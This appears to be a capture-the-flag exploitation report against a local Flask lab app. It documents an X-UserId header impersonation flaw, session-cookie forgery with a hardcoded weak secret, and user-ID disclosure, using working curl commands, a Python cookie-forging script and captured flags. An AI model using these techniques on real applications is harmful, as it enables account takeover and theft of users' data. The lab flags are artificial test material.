# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: X-UserId Header Authentication Bypass (Horizontal Privilege Escalation)

**Summary:**
- **Vulnerable location:** GET /dashboard endpoint (routes.py:73-78)
- **Overview:** Any authenticated user can impersonate any other user by manipulating the X-UserId HTTP header
- **Impact:** Complete horizontal privilege escalation - access to any user's personal information including the CTF flag stored in user ID 10052's last_name field
- **Severity:** CRITICAL

**Prerequisites:**
- Any valid user credentials (test:test credentials are available)
- Knowledge of target user_id (obtainable via AUTHZ-VULN-03)

**Exploitation Steps:**

1. Authenticate as test user to obtain valid session cookie:
```bash
# Step 1: Submit username
curl -X POST http://localhost:40477/ \
  -d "username=test" \
  -c cookies.txt

# Step 2: Submit password
curl -X POST http://localhost:40477/password/test \
  -d "password=test" \
  -b cookies.txt \
  -c cookies.txt
```

2. Access flag user's dashboard using X-UserId header bypass:
```bash
curl http://localhost:40477/dashboard \
  -b cookies.txt \
  -H "X-UserId: 10052"
```

**Proof of Impact:**

Response contains the flag in the user's last_name field:
```html
<h5 class="card-title">Welcome, Flag FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}</h5>
```

**Flag Captured:** `FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}`

Without the X-UserId header, the same session shows the authenticated user's own data (John Doe), confirming the header completely overrides authentication.

**Notes:**
The vulnerable code at routes.py:73-78 accepts the X-UserId header and only validates that the user exists in the database - it never checks if the authenticated user has permission to access that user's data. This is a textbook Insecure Direct Object Reference (IDOR) vulnerability.

---

### AUTHZ-VULN-02: Session Forgery via Weak Secret Key (Authentication Bypass)

**Summary:**
- **Vulnerable location:** Flask secret key configuration (__init__.py:11)
- **Overview:** The hardcoded weak secret key 'your_secret_key' enables complete authentication bypass through session cookie forgery
- **Impact:** Any attacker with knowledge of the weak secret can forge valid session cookies for any user_id, accessing any user's data without credentials
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of the weak secret key: 'your_secret_key' (hardcoded in source code)
- Target user_id (obtainable via AUTHZ-VULN-03)

**Exploitation Steps:**

1. Create Python script to forge Flask session cookie:
```python
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'your_secret_key'

session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(app)

# Forge session for flag user (ID: 10052)
session_data = {'user_id': 10052}
forged_cookie = serializer.dumps(session_data)
print(f"Forged session cookie: {forged_cookie}")
```

2. Access dashboard with forged session cookie (NO AUTHENTICATION REQUIRED):
```bash
curl http://localhost:40477/dashboard \
  -b "session=<FORGED_COOKIE_VALUE>"
```

**Proof of Impact:**

Using a freshly forged session cookie, direct access to the flag user's dashboard is achieved without any authentication:

Response contains:
```html
<h5 class="card-title">Welcome, Flag FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}</h5>
```

**Flag Captured:** `FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}`

**Notes:**
- The vulnerable configuration is at __init__.py:11: `app.secret_key = 'your_secret_key'`
- Flask uses itsdangerous library to HMAC-sign session cookies
- With the known weak secret, the signature validation is meaningless
- Both integer and string user_id values work (SQLAlchemy handles type coercion)
- Session cookies must be freshly generated due to timestamp validation

---

### AUTHZ-VULN-03: Unauthenticated Information Disclosure (Horizontal)

**Summary:**
- **Vulnerable location:** GET /password/<username> endpoint (routes.py:44-64)
- **Overview:** User information (first_name, user_id, username) is exposed to unauthenticated visitors before password authentication
- **Impact:** Enables reconnaissance for IDOR attacks by providing exact user IDs; username enumeration
- **Severity:** HIGH

**Prerequisites:** None - completely unauthenticated access

**Exploitation Steps:**

1. Access password page for any known username without authentication:
```bash
# Test user information disclosure
curl http://localhost:40477/password/test

# Flag user information disclosure  
curl http://localhost:40477/password/flag
```

**Proof of Impact:**

**Test user (ID: 10032):**
```html
<p class="mt-3 text-center">Welcome, John!</p>
<input type="text" class="form-control" id="username" name="username" value="test" hidden>
<input type="text" class="form-control" id="user_id" name="user_id" value="10032" hidden>
```

**Flag user (ID: 10052):**
```html
<p class="mt-3 text-center">Welcome, Flag!</p>
<input type="text" class="form-control" id="username" name="username" value="flag" hidden>
<input type="text" class="form-control" id="user_id" name="user_id" value="10052" hidden>
```

This information is exposed in HTML hidden form fields and visible page content BEFORE any password authentication occurs.

**Notes:**
This vulnerability enables the other horizontal privilege escalation attacks by providing the exact user IDs needed for:
- X-UserId header values (AUTHZ-VULN-01)
- Session forgery targets (AUTHZ-VULN-02)
- Username enumeration for reconnaissance

---

### AUTHZ-VULN-04: Workflow Bypass - Direct Password Page Access (Context_Workflow)

**Summary:**
- **Vulnerable location:** GET /password/<username> endpoint (routes.py:44-64)
- **Overview:** Users can skip the username validation step and access the password entry form directly
- **Impact:** Bypass intended two-step authentication workflow; potential evasion of username validation rate limiting or logging
- **Severity:** MEDIUM

**Prerequisites:** Knowledge of a valid username

**Exploitation Steps:**

1. Skip username validation (POST /) and navigate directly to password page:
```bash
# Expected workflow: POST / first, then GET /password/<username>
# Actual: Direct access works without POST /

curl http://localhost:40477/password/test
```

**Proof of Impact:**

Direct access to password page succeeds without visiting the username validation endpoint:
```html
<p class="mt-3 text-center">Welcome, John!</p>
<label for="password">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
```

The password entry form is rendered successfully, allowing workflow step 1 (username validation) to be completely bypassed.

**Notes:**
- Limited practical impact since valid usernames are still required
- Demonstrates lack of state tracking in multi-step authentication workflow
- No session flags track which steps have been completed (e.g., 'username_validated')
- Overlaps with AUTHZ-VULN-03 (same endpoint also exposes user information)

---

### AUTHZ-VULN-05: Dashboard Access via Forged Session (Context_Workflow Bypass)

**Summary:**
- **Vulnerable location:** GET /dashboard endpoint (routes.py:68-86) combined with weak secret key (__init__.py:11)
- **Overview:** Complete authentication workflow bypass through session forgery - access dashboard without completing any authentication steps
- **Impact:** Skip all authentication steps (username validation, password verification) via forged session cookie
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of weak secret key: 'your_secret_key'
- Target user_id (obtainable via AUTHZ-VULN-03)

**Exploitation Steps:**

This vulnerability overlaps with AUTHZ-VULN-02 (session forgery) but is analyzed from a workflow perspective:

**Expected workflow:**
1. POST / (username validation)
2. GET /password/<username> (display form)
3. POST /password/<username> (password validation)
4. Session creation (session['user_id'] set)
5. GET /dashboard (authorized access)

**Actual workflow with forged session:**
1. Forge session cookie with weak secret key (see AUTHZ-VULN-02)
2. GET /dashboard directly - SKIP ALL AUTHENTICATION STEPS

**Proof of Impact:**

Using the same forged session cookie from AUTHZ-VULN-02:
```bash
curl http://localhost:40477/dashboard \
  -b "session=<FORGED_COOKIE>"
```

Response:
```html
<h5 class="card-title">Welcome, Flag FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}</h5>
```

**Flag Captured:** `FLAG{39c35247bd1ebb5196f6e49b51300fd895e4ce83559a7db6b89cc8b76b31c59f}`

**Notes:**
- This is the same technical vulnerability as AUTHZ-VULN-02, viewed from a workflow perspective
- Demonstrates complete absence of workflow state validation
- No session legitimacy checks beyond HMAC signature (which is forged)
- Session cookie alone grants full access without any authentication history
- Overlaps with AUTHZ-VULN-02 (cryptographic weakness) but focuses on workflow integrity

---

## Summary

All five authorization vulnerabilities identified in the exploitation queue were successfully exploited:

**Critical Vulnerabilities (Flag Access):**
- ✅ AUTHZ-VULN-01: X-UserId header bypass → FLAG captured
- ✅ AUTHZ-VULN-02: Session forgery → FLAG captured  
- ✅ AUTHZ-VULN-05: Workflow bypass via session forgery → FLAG captured (duplicate)

**High-Priority Vulnerabilities (Reconnaissance/Workflow):**
- ✅ AUTHZ-VULN-03: Information disclosure → User IDs enumerated
- ✅ AUTHZ-VULN-04: Workflow bypass → Step skipping confirmed

**Key Findings:**
- Three distinct methods to access the flag (VULN-01, 02, 05)
- Complete absence of authorization controls beyond basic authentication presence check
- Zero ownership validation on user-specific resources
- Client-controlled authentication overrides (X-UserId header)
- Cryptographic weakness enables complete authentication bypass
- No workflow state tracking or validation

**Root Cause:**
The application confuses authentication (identifying users) with authorization (controlling access). It implements minimal authentication but has zero authorization enforcement, allowing any authenticated user (or forged session) to access any resource.